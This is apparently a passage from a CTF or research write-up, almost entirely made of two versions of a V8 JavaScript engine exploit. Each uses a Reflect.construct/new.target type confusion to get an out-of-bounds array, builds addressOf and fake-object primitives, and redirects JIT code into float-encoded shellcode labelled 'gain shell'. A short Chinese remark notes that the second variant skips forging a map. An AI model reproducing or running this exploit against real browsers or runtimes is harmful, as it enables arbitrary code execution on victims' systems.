i32tof32(i) {
this.u32[0] = i;
return this.f32[0];
}



p(arg) {
%DebugPrint(arg);
}

debug(arg) {
%DebugPrint(arg);
%SystemBreak();
}

stop() {
%SystemBreak();
}



hex32(i) {
return i.toString(16).padStart(8, "0");
}

hex64(i) {
return i.toString(16).padStart(16, "0");
}

hexx(str, val) {
console.log(`[*] ${str}: 0x${val.toString(16)}`);
}

printhex(val) {
console.log("0x" + val.toString(16));
}



add_ref(obj) {
this.state[this.i++] = obj;
}

gc() {
new Array(0x7fe00000);
}
}


const helpers = new Helpers();


const f2i = x => helpers.f2i(x);
const i2f = x => helpers.i2f(x);
const hex = x => helpers.hex(x);
const f2h = x => helpers.f2h(x);
const f2a = x => helpers.f2a(x);
const a2f = x => helpers.a2f(x);
const f2is = x => helpers.f2is(x);
const i2fs = x => helpers.i2fs(x);
const f2lo = x => helpers.f2lo(x);
const f2hi = x => helpers.f2hi(x);
const i2f64 = (lo, hi) => helpers.i2f64(lo, hi);
const i2lo = x => helpers.i2lo(x);
const i2hi = x => helpers.i2hi(x);
const f32toi32 = x => helpers.f32toi32(x);
const i32tof32 = x => helpers.i32tof32(x);
const p = x => helpers.p(x);
const debug = x => helpers.debug(x);
const stop = () => helpers.stop();
const hex32 = x => helpers.hex32(x);
const hex64 = x => helpers.hex64(x);
const hexx = (str, val) => helpers.hexx(str, val);
const printhex = x => helpers.printhex(x);
const add_ref = x => helpers.add_ref(x);
const gc = () => helpers.gc();


// gain shell
const shellcode = () => {return [
1.9553825422107533e-246,
1.9560612558242147e-246,
1.9995714719542577e-246,
1.9533767332674093e-246,
2.6348604765229606e-284
];}

for(let i = 0; i< 40000; i++){
shellcode();
}

var x = Array;

class Base {}

class Derived extends Base {
constructor() {
x = new.target;
super();
}
}

function construct() {
var res = Reflect.construct(Derived, [], x);
return res;
}

for (let i = 0; i < 2000; i++) construct();

gc();
gc();
gc();
gc();
gc();
let oob_array = construct();
oob_array = construct();
//p(oob_array);
hexx('lenth',oob_array.length)
let oob_element_addr = 0x219 - 1 + 8;

let element_addr = 0x2c2129 - 1;
let element_addr_start = element_addr + 8;
let fake_map_addr = element_addr + 0x1000;
let fake_object_addr = element_addr + 0x2000;
let saved_fake_object_addr = element_addr + 0x100;


//printhex(oob_element_addr);
//printhex(element_addr);
//printhex(element_addr_start);
//printhex(fake_map_addr);
//printhex(fake_object_addr);


new Array(0x7f00).fill({});
let victim_array = new Array(0x7f00).fill({});
//p(victim_array);
//let float_arr = [1.1,2.2,3.3];
//p(float_arr);
//stop();

oob_array[(fake_map_addr - oob_element_addr)/8] = i2f(0x2c04040400000061n);
oob_array[(fake_map_addr - oob_element_addr)/8 + 1] = i2f(0x0a0007ff11000842n);
oob_array[(fake_object_addr - oob_element_addr)/8] = i2f64(fake_map_addr+1,0x0);
oob_array[(fake_object_addr - oob_element_addr)/8 + 1] = i2f64(0x1000,0x1000);
oob_array[(saved_fake_object_addr - oob_element_addr)/8] = i2f64(fake_object_addr+1,fake_object_addr+1);

var fake_object = victim_array[(saved_fake_object_addr - element_addr_start)/4];

// p(fake_object);

function addressOf(obj){
victim_array[0] = obj;
return i2lo(f2i(oob_array[(element_addr_start - oob_element_addr)/8]));
}

//p(shellcode);

var shellcode_addr = addressOf(shellcode);
hexx('shellcode_addr',shellcode_addr);

oob_array[(fake_object_addr - oob_element_addr)/8 + 1] = i2f64(shellcode_addr - 8 + 0x18,0x1000);

var code_addr = i2lo(f2i(fake_object[0]));
hexx('code_addr',code_addr);
oob_array[(fake_object_addr - oob_element_addr)/8 + 1] = i2f64(code_addr - 8 + 0x10,0x1000);
var ins_base = (f2i(fake_object[0]));

var rop_addr = ins_base + 0x82n;
fake_object[0] = i2f(rop_addr);



//stop();
shellcode();

image-20251208210311870

下面不伪造map也可以getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
class Helpers {
constructor() {
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.f32 = new Float32Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.u64 = new BigUint64Array(this.buf);
this.i64 = new BigInt64Array(this.buf);

this.state = {};
this.i = 0;
}



// float64 → uint64
f2i(x) {
this.f64[0] = x;
return this.u64[0];
}

// uint64 → float64
i2f(x) {
this.u64[0] = x;
return this.f64[0];
}

// int to hex string
hex(x) {
return "0x" + x.toString(16);
}

// float to hex string
f2h(x) {
return this.hex(this.f2i(x));
}

// float to aligned address (clear low 2 bits)
f2a(x) {
return this.f2i(x) >> 2n << 2n;
}

// address to float (set low bit)
a2f(x) {
return this.i2f(x | 1n);
}



// float64 → int64 (signed)
f2is(x) {
this.f64[0] = x;
return this.i64[0];
}

// int64 → float64 (signed)
i2fs(x) {
this.i64[0] = x;
return this.f64[0];
}



// float64 → low 32-bit
f2lo(x) {
this.f64[0] = x;
return this.u32[0];
}

// float64 → high 32-bit
f2hi(x) {
this.f64[0] = x;
return this.u32[1];
}

// two 32-bit → float64
i2f64(lo, hi) {
this.u32[0] = lo >>> 0;
this.u32[1] = hi >>> 0;
return this.f64[0];
}

// int64 → low 32-bit
i2lo(i) {
return Number(i & 0xffffffffn);
}

// int64 → high 32-bit
i2hi(i) {
return Number(i >> 32n);
}



// float32 → int32
f32toi32(f) {
this.f32[0] = f;
return this.u32[0];
}

// int32 → float32
i32tof32(i) {
this.u32[0] = i;
return this.f32[0];
}



p(arg) {
%DebugPrint(arg);
}

debug(arg) {
%DebugPrint(arg);
%SystemBreak();
}

stop() {
%SystemBreak();
}



hex32(i) {
return i.toString(16).padStart(8, "0");
}

hex64(i) {
return i.toString(16).padStart(16, "0");
}

hexx(str, val) {
console.log(`[*] ${str}: 0x${val.toString(16)}`);
}

printhex(val) {
console.log("0x" + val.toString(16));
}



add_ref(obj) {
this.state[this.i++] = obj;
}

gc() {
new Array(0x7fe00000);
}
}


const helpers = new Helpers();


const f2i = x => helpers.f2i(x);
const i2f = x => helpers.i2f(x);
const hex = x => helpers.hex(x);
const f2h = x => helpers.f2h(x);
const f2a = x => helpers.f2a(x);
const a2f = x => helpers.a2f(x);
const f2is = x => helpers.f2is(x);
const i2fs = x => helpers.i2fs(x);
const f2lo = x => helpers.f2lo(x);
const f2hi = x => helpers.f2hi(x);
const i2f64 = (lo, hi) => helpers.i2f64(lo, hi);
const i2lo = x => helpers.i2lo(x);
const i2hi = x => helpers.i2hi(x);
const f32toi32 = x => helpers.f32toi32(x);
const i32tof32 = x => helpers.i32tof32(x);
const p = x => helpers.p(x);
const debug = x => helpers.debug(x);
const stop = () => helpers.stop();
const hex32 = x => helpers.hex32(x);
const hex64 = x => helpers.hex64(x);
const hexx = (str, val) => helpers.hexx(str, val);
const printhex = x => helpers.printhex(x);
const add_ref = x => helpers.add_ref(x);
const gc = () => helpers.gc();


// gain shell
const shellcode = () => {return [
1.9553825422107533e-246,
1.9560612558242147e-246,
1.9995714719542577e-246,
1.9533767332674093e-246,
2.6348604765229606e-284
];}

for(let i = 0; i< 40000; i++){
shellcode();
}

var x = Array;

class Base {}

class Derived extends Base {
constructor() {
x = new.target;
super();
}
}

function construct() {
var res = Reflect.construct(Derived, [], x);
return res;
}

for (let i = 0; i < 2000; i++) construct();

gc();
gc();
gc();
gc();
//gc();
let oob_array = construct();
oob_array = construct();
//p(oob_array);
console.log(oob_array.length);
let oob_element_addr = 0x219 - 1 + 8;

let element_addr = 0x2c2129 - 1;
let element_addr_start = element_addr + 8;
//let fake_map_addr = element_addr + 0x1000;
let fake_object_addr = element_addr + 0x2000;
let saved_fake_object_addr = element_addr + 0x100;


printhex(oob_element_addr);
printhex(element_addr);
printhex(element_addr_start);
//printhex(fake_map_addr);
printhex(fake_object_addr);


new Array(0x7f00).fill({});
let victim_array = new Array(0x7f00).fill({});
//p(victim_array);
let float_arr = [1.1,2.2,3.3];
p(float_arr);
//stop();

//oob_array[(fake_map_addr - oob_element_addr)/8] = i2f(0x2c04040400000061n);
//oob_array[(fake_map_addr - oob_element_addr)/8 + 1] = i2f(0x0a0007ff11000842n);
oob_array[(fake_object_addr - oob_element_addr)/8] = i2f64(0x0018ece5,0x0);
oob_array[(fake_object_addr - oob_element_addr)/8 + 1] = i2f64(0x1000,0x1000);
oob_array[(saved_fake_object_addr - oob_element_addr)/8] = i2f64(fake_object_addr+1,fake_object_addr+1);

var fake_object = victim_array[(saved_fake_object_addr - element_addr_start)/4];


function addressOf(obj){
victim_array[0] = obj;
return i2lo(f2i(oob_array[(element_addr_start - oob_element_addr)/8]));
}

p(shellcode);

var shellcode_addr = addressOf(shellcode);
printhex(shellcode_addr);

oob_array[(fake_object_addr - oob_element_addr)/8 + 1] = i2f64(shellcode_addr - 8 + 0x18,0x1000);

var code_addr = i2lo(f2i(fake_object[0]));
printhex(code_addr);
oob_array[(fake_object_addr - oob_element_addr)/8 + 1] = i2f64(code_addr - 8 + 0x10,0x1000);
var ins_base = (f2i(fake_object[0]));

var rop_addr = ins_base + 0x82n;
fake_object[0] = i2f(rop_addr);



//stop();
shellcode();

image-20251208210356932